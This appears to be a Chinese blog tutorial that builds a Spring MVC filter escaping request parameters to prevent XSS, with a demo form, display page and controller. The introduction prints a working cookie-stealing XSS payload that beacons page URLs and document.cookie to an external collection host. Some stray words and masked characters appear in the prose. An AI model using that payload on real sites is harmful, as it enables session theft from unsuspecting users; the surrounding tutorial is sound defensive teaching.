在SpringMVC中使用过滤器(Filter)过滤容易引起XSS的危险字符

一 简介

如题所示,若是不在服务端对用户的输入信息进行过滤,而后该参数又直接在前台页面中展现,毫无疑问将会容易引起XSS***(跨站脚本***),好比说这样:javascript

form表单中有这么一个字段:php

<input type="text" id="author" name="author" placeholder="昵称" />

而后潜在***者在该字段上填入如下内容:html

<script>alert('XSS')</script>

紧接着服务端忽略了“一切来至其余系统的数据都存在安全隐患”的原则,并无对来至用户的数据进行过滤,致使了直接在前台页面中进行展现。很显然直接弹窗了:java

wKioL1hHf4Px53GGAAA-9cgWE1M461.png

固然,这里仅仅只是一个无伤大雅的弹窗,若是是恶意的***者呢?他可能会利用这个漏洞盗取cookie、篡改网页,甚至是配合CSRF漏洞伪造用户请求,造成大规模爆发的蠕虫病毒等等。web

好比说远程加载这么一个js将会致使用户的cookie被窃取:正则表达式

(function(){(new Image()).src='http://xss.domain.com/index.php?do=api&id=ykvR5H&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if('1'==1){keep=new Image();keep.src='http://xss.domain.com/index.php?do=keepsession&id=ykvR5H&url='+escape(document.location)+'&cookie='+escape(document.cookie)};

而后将能够在本身搭建的XSS平台中收到信息,好比像这样:
spring

wKiom1hHf7HicAJ4AAA6kVLuM0s231.png

注:由于我在这个demo程序里没有设置cookie,所以cookie那一栏显示为空白apache

固然,值得庆幸的是,像国内一些主流的浏览器(如:360浏览器、猎豹浏览器)对这类常见的XSS payload都进行了过滤,查看网页源代码能够发现这些危险的字符均使用了鲜艳的红色字体进行了标注,同时该脚本并不能成功地执行:api

wKiom1hHf8ziHpgpAAAeB1jod0Y439.png

二 使用Filter过滤容易引起XSS的危险字符

(1)自定义一个过滤用的Filter:数组

package cn.zifangsky.filter;

import java.io.IOException;
import java.util.Enumeration;
import java.util.Map;
import java.util.Vector;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import javax.servlet.http.HttpServletResponse;

import org.apache.commons.lang3.StringEscapeUtils;
import org.apache.commons.lang3.StringUtils;
import org.springframework.web.filter.OncePerRequestFilter;

public class XSSFilter extends OncePerRequestFilter {
	private String exclude = null;  //不须要过滤的路径集合
	private Pattern pattern = null;  //匹配不须要过滤路径的正则表达式
	
	public void setExclude(String exclude) {
		this.exclude = exclude;
		pattern = Pattern.compile(getRegStr(exclude));
	}
	
	/**
	 * XSS过滤
	 */
	protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
			throws ServletException, IOException {
		String requestURI = request.getRequestURI();
		if(StringUtils.isNotBlank(requestURI))
			requestURI = requestURI.replace(request.getContextPath(),"");
		
		if(pattern.matcher(requestURI).matches())
			filterChain.doFilter(request, response);
		else{
			EscapeScriptwrapper escapeScriptwrapper = new EscapeScriptwrapper(request);
			filterChain.doFilter(escapeScriptwrapper, response);
		}
	}
	
	/**
	 * 将传递进来的不须要过滤得路径集合的字符串格式化成一系列的正则规则
	 * @param str 不须要过滤的路径集合
	 * @return 正则表达式规则
	 * */
	private String getRegStr(String str){
		if(StringUtils.isNotBlank(str)){
			String[] excludes = str.split(";");  //以分号进行分割
			int length = excludes.length;
			for(int i=0;i<length;i++){
				String tmpExclude = excludes[i];
				//对点、反斜杠和星号进行转义
				tmpExclude = tmpExclude.replace("\\", "\\\\").replace(".", "\\.").replace("*", ".*");

				tmpExclude = "^" + tmpExclude + "$";
				excludes[i] = tmpExclude;
			}
			return StringUtils.join(excludes, "|");
		}
		return str;
	}
	
	/**
	 * 继承HttpServletRequestWrapper,建立装饰类,以达到修改HttpServletRequest参数的目的
	 * */
	private class EscapeScriptwrapper extends HttpServletRequestWrapper{
		private Map<String, String[]> parameterMap;  //全部参数的Map集合
		public EscapeScriptwrapper(HttpServletRequest request) {
			super(request);
			parameterMap = request.getParameterMap();
		}
		
		//重写几个HttpServletRequestWrapper中的方法
		/**
		 * 获取全部参数名
		 * @return 返回全部参数名
		 * */
		@Override
		public Enumeration<String> getParameterNames() {
			Vector<String> vector = new Vector<String>(parameterMap.keySet());
			return vector.elements();
		}
		
		/**
		 * 获取指定参数名的值,若是有重复的参数名,则返回第一个的值
		 * 接收通常变量 ,如text类型
		 * 
		 * @param name 指定参数名
		 * @return 指定参数名的值
		 * */
		@Override
		public String getParameter(String name) {
			String[] results = parameterMap.get(name);
			if(results == null || results.length <= 0)
				return null;
			else{
				return escapeXSS(results[0]);
			}
		}

		/**
		 * 获取指定参数名的全部值的数组,如:checkbox的全部数据
		 * 接收数组变量 ,如checkobx类型
		 * */
		@Override
		public String[] getParameterValues(String name) {
			String[] results = parameterMap.get(name);
			if(results == null || results.length <= 0)
				return null;
			else{
				int length = results.length;
				for(int i=0;i<length;i++){
					results[i] = escapeXSS(results[i]);
				}
				return results;
			}
		}
		
		/**
		 * 过滤字符串中的js脚本
		 * 解码:StringEscapeUtils.unescapeXml(escapedStr)
		 * */
		private String escapeXSS(String str){
			str = StringEscapeUtils.escapeXml(str);
			
			Pattern tmpPattern = Pattern.compile("[sS][cC][rR][iI][pP][tT]");
			Matcher tmpMatcher = tmpPattern.matcher(str);
			if(tmpMatcher.find()){
				str = tmpMatcher.replaceAll(tmpMatcher.group(0) + "\\\\");
			}
			return str;
		}
	}

}

(2)在web.xml文件中将该过滤器放在最前面或者是字符编码过滤器以后:

	<filter>
		<filter-name>xssFilter</filter-name>
		<filter-class>cn.zifangsky.filter.XSSFilter</filter-class>
		<init-param>
			<param-name>exclude</param-name>
			<param-value>/;/scripts/*;/styles/*;/p_w_picpaths/*</param-value>
		</init-param>
	</filter>
	<filter-mapping>
		<filter-name>xssFilter</filter-name>
		<url-pattern>*.html</url-pattern>
		<!-- 直接从客户端过来的请求以及经过forward过来的请求都要通过该过滤器 -->
		<dispatcher>REQUEST</dispatcher>
		<dispatcher>FORWARD</dispatcher>
	</filter-mapping>

关于这个自定义的过滤器,我以为有如下几点须要简单说明下:

i)我这里为了方便,没有本身手动写不少过滤规则,只是使用了commons-lang3-3.2.jar 这个jar包中的 StringEscapeUtils 这个方法类来进行过滤。在这个类中有如下几种过滤方法,分别是:escapeJava、escapeEcmaScript、escapeHtml三、escapeHtml四、escapeJson、escapeCsv、escapeEcmaScript 以及 escapeXml。关于这几种方法分别是如何进行过滤的能够自行查阅官方文档或者本身动手写一个简单的Demo进行测试。固然,我这里使用的是escapeXml这个方法进行过滤

ii)由于一个web工程中一般会存在js、CSS、图片这类静态资源目录的,很显然这些目录是不须要进行过滤的。所以我也作了这方面的处理,代码很简单,看看上面的例子就明白了,或者能够看看个人这篇文章:https://www.zifangsky.cn/647.html

iii)关于“在Filter中修改HttpServletRequest中的参数”这个问题,只须要自定义一个类继承与HttpServletRequestWrapper 这个类,而后复写几个方法便可。若是对这方面不太理解的同窗能够看看个人这篇文章:https://www.zifangsky.cn/677.html

iv)在上面的过滤器中,我在escapeXSS(String str) 这个方法的后面还针对“# onerror=javascript:alert(123)” 这种语句进行了专门的过滤。不过不过滤的话问题也不大,我以为最多就是出现个弹窗,由于把尖括号和引号都给转义了,并不可以执行一些比较危险的操做

(3)两个测试的前台页面:

i)form表单页面input.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
	<div align="center">
		Please input you want to say:
		<form action="show.html" method="post">
			<table>
				<tr>
					<td><input type="text" id="author" name="author" placeholder="昵称" /></td>
				</tr>
				<tr>
					<td><input type="text" id="email" name="email" placeholder="邮箱" /></td>
				</tr>
				<tr>
					<td><input type="text" id="url" name="url"placeholder="网址"></td>
				</tr>
				<tr>
					<td><textarea name="comment" rows="5" placeholder="来都来了,何不XSS一下"></textarea></td>
				</tr>
				<tr>
					<td align="center"><input type="submit" value="Go" />
				</tr>	
			</table>
		</form>
	</div>
</body>
</html>

ii)结果显示页面show.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
	<div align="center">
		<table>
			<tr>
				<td>昵称:</td><td>${author}</td>
			</tr>
			<tr>
				<td>邮箱:</td><td>${email}</td>
			</tr>
			<tr>
				<td>网址:</td><td>${url}</td>
			</tr>
			<tr>
				<td>留言:</td><td>${comment}</td>
			</tr>
			<!-- <tr>
				<td><img alt="x" src=${comment}></td>
			</tr> -->
		</table>
	</div>
</body>
</html>

(4)测试用的Controller:

package cn.zifangsky.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;

@Controller
public class CommentController {
	
	/**
	 * 获取留言并在页面展现
	 * */
	@RequestMapping("/show.html")
	public ModelAndView showComment(@RequestParam(name = "author", required = true) String author,
			@RequestParam(name = "email", required = false) String email,
			@RequestParam(name = "url", required = false) String url,
			@RequestParam(name = "comment", required = false) String comment) {
		
		ModelAndView mAndView = new ModelAndView("show");
		mAndView.addObject("author", author);
		mAndView.addObject("email", email);
		mAndView.addObject("url", url);
		mAndView.addObject("comment", comment);
		
		return mAndView;
	}
}

这里的代码逻辑很简单,所以就很少作解释了

(5)测试:

测试的效果以下:

wKioL1hHgFLz_0yhAAAquj5BVkU078.png

对应的网页源代码是这样的:

wKiom1hHgG2jmiW1AAA4tn1f65k425.png

能够看出,咱们的目标已经成功实现了,本篇文章到此结束

PS:上面图片中的水印是我我的博客的域名,所以还请管理员手下留情不要给我标为“转载文章”,谢谢!!!

相关文章
相关标签/搜索